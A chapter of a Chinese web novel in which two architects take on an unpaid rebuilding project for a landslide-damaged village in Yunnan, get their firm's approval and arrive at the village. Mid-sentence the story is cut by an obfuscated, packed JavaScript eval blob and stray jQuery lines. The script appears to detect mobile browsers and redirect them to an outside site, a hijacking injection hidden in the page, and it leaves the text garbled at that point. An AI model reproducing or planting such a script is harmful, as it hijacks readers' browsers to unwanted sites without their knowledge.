一周后的清晨，顾怀瑾收到一封挂号信。
牛皮纸信封，手写地址，邮戳来自云南某偏远县城。林溪正端着咖啡从厨房出来，看见顾怀瑾拆信时眉头微蹙。
“谁寄的？”林溪问。
“扶贫办。”顾怀瑾抽出信纸，快速浏览后，神情变得凝重，西南山区有个村子，去年泥石流冲垮了半个寨子。现在重建遇到问题——他们请的设计团队撤了。”
林溪放下咖啡杯，走到他身边：“为什么撤？”
“设计费谈不拢。”顾怀瑾把信递给他，“地方政府资金有限，村民更拿不出钱。原设计公司说至少要三百万，他们最多只能凑到一百二十万。”
林溪看着信上附的照片——倒塌的夯土房，临时搭建的帐篷，孩子们蹲在废墟边写作业。背景是连绵的青山，云雾缭绕，本该如画的美景，却因灾情蒙上阴影。
“他们找我们……”林溪抬头，“是因为‘旧厂房改造’那个项目得了奖？”
“应该是。”顾怀瑾走到窗前，“那个项目证明了一件事：用有限的资金，也能做出有尊严的建筑。”
“你想接？”
顾怀瑾沉默良久，转身看他：“我想带你一起去。”
林溪愣住了。
“这不是事务所的常规项目。”顾怀瑾走回来，语气认真，“没有利润，条件艰苦，甚至可能要倒贴钱。但我觉得……这可能是我们一直在等的机会。”
“什么机会？”
“一起做一件事。”顾怀瑾说，“不是导师和学徒，不是上下级，是平等的合作伙伴。去一个没有人认识我们的地方，从头开始，为一个真实的社区设计。”
林溪的心脏猛地跳了一下。
“而且，”顾怀瑾的声音软下来，“我答应过你祖父——要带你去看真正的建筑，看那些生长在土地上的房子。”
两个月前，林溪带顾怀瑾见了祖父。老建筑师已经八十二岁，耳朵背了，但眼睛依然锐利。他看了顾怀瑾很久，最后只说了一句话：“你要带这孩子去看泥土做的墙，看雨水冲刷出的沟痕，看人怎么在山里生活。图纸上的房子，不算房子。”
“什么时候出发？”林溪问。
“下周一。我们需要三天时间准备方案，周五向事务所汇报。”顾怀瑾看着他，“这个项目不赚钱，还会占用其他项目的时间。你确定要一起？”
林溪笑了：“你什么时候见过建筑师只为了钱工作？”
顾怀瑾也笑了，眼中闪着光。那一瞬间，林溪仿佛看到了二十年前那个在日记里写“建筑是给人住的”的年轻顾怀远，也看到了十二岁失去母亲却依然选择这个行业的顾怀瑾。
他们骨子里，都是同一种人。
---
接下来的三天，两人几乎住在事务所。
白板被方案草图填满：夯土墙的改良做法，本地石材的利用，排水系统的简易设计。林溪负责研究当地气候和材料，顾怀瑾主攻结构安全和造价控制。
第三天深夜，林溪趴在桌上睡着了，手里还攥着一份关于滇西北传统民居的调研报告。顾怀瑾轻轻抽走报告，把自己的外套披在他身上。
手机震动，是顾怀玥的短信：“爸留下的工程笔记里，有关于山区建筑的记录。明天我送来。”
凌晨四点，顾怀瑾终于完成成本估算：一百一十八万七千。比预算少了一万三。
他靠在椅背上，揉了揉发胀的太阳穴。窗外的北京还在沉睡，路灯连成橘黄色的线。这一刻，他忽然理解了父亲——那些在深夜里推敲细节的时刻，不是偏执，是责任。
“做完了？”林溪醒了，声音带着睡意。
“嗯。”顾怀瑾把计算结果推过去，“如果我们自己承担差旅和部分设计费，刚好卡在预算线上。”
林溪仔细看完：“你打算自费？”
“这部分我会处理。”顾怀瑾顿了顿，“但我需要你答应我一件事——到了那边，所有决定我们一起做。你有否决权。”
林溪看着他，知道这不是客套，是顾怀瑾在用这种方式，正式确认他们的平等合作关系。
“好。”林溪郑重地点头。
---
周五的汇报会，气氛微妙。
合伙人之一的赵总首先发难：“怀瑾，我理解你想做公益项目，但事务所不是慈善机构。这个项目至少要占用你们两个月的工时，按正常收费标准，损失至少八十万。”
“我知道。”顾怀瑾平静地说，“所以这部分损失，从我今年的分红里扣。”
会议室安静了。
“另外，”他继续说，“我会把这次的设计过程整理成案例，参加年底的‘社会关怀建筑奖’。如果获奖，对事务所的品牌价值提升，应该能弥补部分损失。”
另一个合伙人李总翻看着方案：“技术上可行吗？那种偏远地区，施工水平有限，材料运输也成问题。”
林溪接过话：“我们研究过。当地有丰富的石材和木材，传统夯土工艺也还在。我们设计的不是外来方案，是在当地技术基础上的改良。”
他打开投影，展示调研结果：“这是村民自己建的临时安置房，虽然简陋，但遮风挡雨没问题。我们要做的，是帮他们把这种生存智慧，变成可持续的居住方案。”
顾怀瑾补充：“而且，这个项目如果成功，可能会成为山区灾后重建的范本。到时候，我们接到的可能就不是一个村，而是一个县，甚至一个州的项目。”
会议室里响起低声议论。
最终，投票结果：五比三，通过。
散会后，赵总叫住顾怀瑾：“怀瑾，你变了。”
顾怀瑾停下脚步。
“以前你做项目，考虑的是技术、奖项、行业影响力。”赵总意味深长地看了林溪一眼，“现在，你开始考虑人了。”
“也许我该早点变。”顾怀瑾说。
---
出发前一晚，两人在公寓打包行李。
林溪的行李很简单：几件耐磨的衣服，绘图工具，笔记本电脑。顾怀瑾却带了一个很旧的工具箱——正是顾怀远当年送给他的那个。
“这个也要带？”林溪问。
“我爸说过，在工地，图纸解决不了所有问题。”顾怀瑾检查着工具，“有时候需要亲手摸一摸材料，敲一敲墙，才知道哪里不对。”
林溪看见箱子里除了常规工具，还有一本泛黄的笔记本。他认出那是顾怀远的笔迹。
“我能看看吗？”
顾怀瑾递给他。笔记本里记录着各种工程细节：不同土质的承重能力，山区排水坡度计算，甚至还有手绘的节点详图。字迹工整，图解清晰，像一本私人版的《营造法式》。
最后一页，写着一句话：“建筑的最高境界，是让人忘记建筑的存在，只感觉到生活。”
“你父亲……”林溪轻声说，“真的很爱这个行业。”
“他是用建筑来表达爱的人。”顾怀瑾合上箱子，“给我妈妈盖的房子，给我们姐弟做的玩具，给村民修的桥……每一个作品，都是他爱的方式。”
林溪忽然明白，这次西南之行，对顾怀瑾来说，不仅仅是公益项目。是传承，也是和解——用父亲教他的手艺，去做父亲会赞同的事。
---
周一清晨，飞机降落在昆明。
转乘长途大巴，在山路上颠簸了六个小时。窗外是深不见底的峡谷，路窄得只能容一辆车通过。林溪看着悬崖边没有任何防护的弯道，手心冒汗。
“习惯就好。”顾怀瑾握住他的手，“我第一次去印度做项目，坐的车比这还破，路比这还险。”
“你害怕过吗？”
“怕。”顾怀瑾诚实地说，“但怕也得去。因为有人等着房子住。”
下午四点，他们终于抵达目的地——云岭村。
村口聚集了二十几个人。为首的是村长，一个五十多岁、皮肤黝黑的男人，穿着洗得发白的蓝色工装。他身后站
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193510|197102||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着老人、妇女，还有几个好奇的孩子。
“顾工，林工，一路辛苦了！”村长上前握手，手劲很大，“我是杨建国，云岭村的村长。”
“叫我怀瑾就好。”顾怀瑾说，“这是林溪。”
杨村长领着他们往村里走。路上都是碎石和泥泞，倒塌的房屋残骸还没有完全清理。临时搭建的帐篷区挤在山坳里，条件比照片上看到的更差。
“原来住在这里的三十七户，现在都挤在二十顶帐篷里。”杨村长声音低沉，“夏天快来了，雨水多，帐篷漏雨，孩子老人都生病。”
他停在一处相对完整的废墟前：“这是村里的老祠堂，两百多年了。泥石流冲垮了后墙，但梁架还在。老人们说，祠堂不能倒，倒了村子就散了。”
顾怀瑾和林溪仔细查看。确实是老建筑，木结构精巧，虽然部分损毁，但主体依然坚固。
“我们想修祠堂。”杨村长说，“不是原样修复，是让它变得更好——以后万一再有灾害，村民可以来这里避难。”
林溪和顾怀瑾对视一眼。这个想法，和他们路上讨论的不谋而合——与其分散重建每户房屋，不如先建一个公共的、坚固的避难所。
“带我们看看村里其他地方。”顾怀瑾说。
接下来的两个小时，他们走遍了整个村子。顾怀瑾用卷尺量墙体厚度，检查地基情况；林溪拍照记录，和村民交谈，了解他们的生活习惯。
太阳落山时，他们被请到村长家吃饭。说是家，其实也是帐篷，只是稍微大一点。
饭菜简单：土豆炖腊肉，炒野菜，玉米饼。杨村长的妻子一直道歉：“没什么好菜，委屈你们了。”
“很丰盛。”顾怀瑾认真地说，“谢谢。”
饭桌上，杨村长讲了村子的历史：世代居住在这里，以种植药材为生。年轻人大多外出打工，留下老人孩子。去年泥石流，死了两个人，伤了十几个。
“我们不想搬。”一个老人说，他是村里最年长的木匠，“祖坟在这里，祠堂在这里，根在这里。”
“不搬是对的。”顾怀瑾说，“但房子要改。原来的夯土墙扛不住大雨，屋顶太轻容易被掀。”
“那怎么办？”
“用你们会的技术，加上一点新方法。”林溪接过话，“我们看了，村里有石灰岩，可以烧石灰。夯土墙里掺石灰和碎石，强度能提高三倍。”
“屋顶用双层，下面木板，上面瓦片，中间加防水层。”顾怀瑾在地上用树枝画图，“这样既保留老样子，又安全。”
村民们围过来看，议论纷纷。
“那要多少钱？”有人问。
顾怀瑾报出数字：“一百二十万以内。材料大部分就地取材，人工你们自己出，我们只收最基本的设计和指导费。”
帐篷里安静了。然后，爆发出一阵激动的声音——这个价格，他们凑得出来。
饭后，杨村长安排他们住在村委会——一间勉强完好的砖房。没有自来水，没有网络，只有一盏昏暗的电灯。
林溪铺床时，顾怀瑾站在窗前，看着外面的山影。
“想什么？”林溪问。
“想我爸。”顾怀瑾轻声说，“他做了一辈子城市里的高楼大厦，但日记里写，他最想做的，其实是这样的项目——帮真正需要的人，盖能住得安心的房子。”
林溪走到他身边：“那我们现在，算是替他完成心愿？”
“算。”顾怀瑾揽住他的肩，“也算完成我自己的。”
夜色渐深，山风穿过破旧的窗缝。但在这个简陋的房间里，两个相拥的人，却感到前所未有的踏实。
因为他们知道，明天开始，他们要做的，不只是建筑。
是重建家园，是延续生命，是把那些在纸上画了千万遍的理想，一笔一划地，落到真实的大地上。
而这一切，都将由他们共同完成——肩并着肩，手牵着手，像云和水终于相遇，在这个需要他们的地方，下一场滋养万物的雨。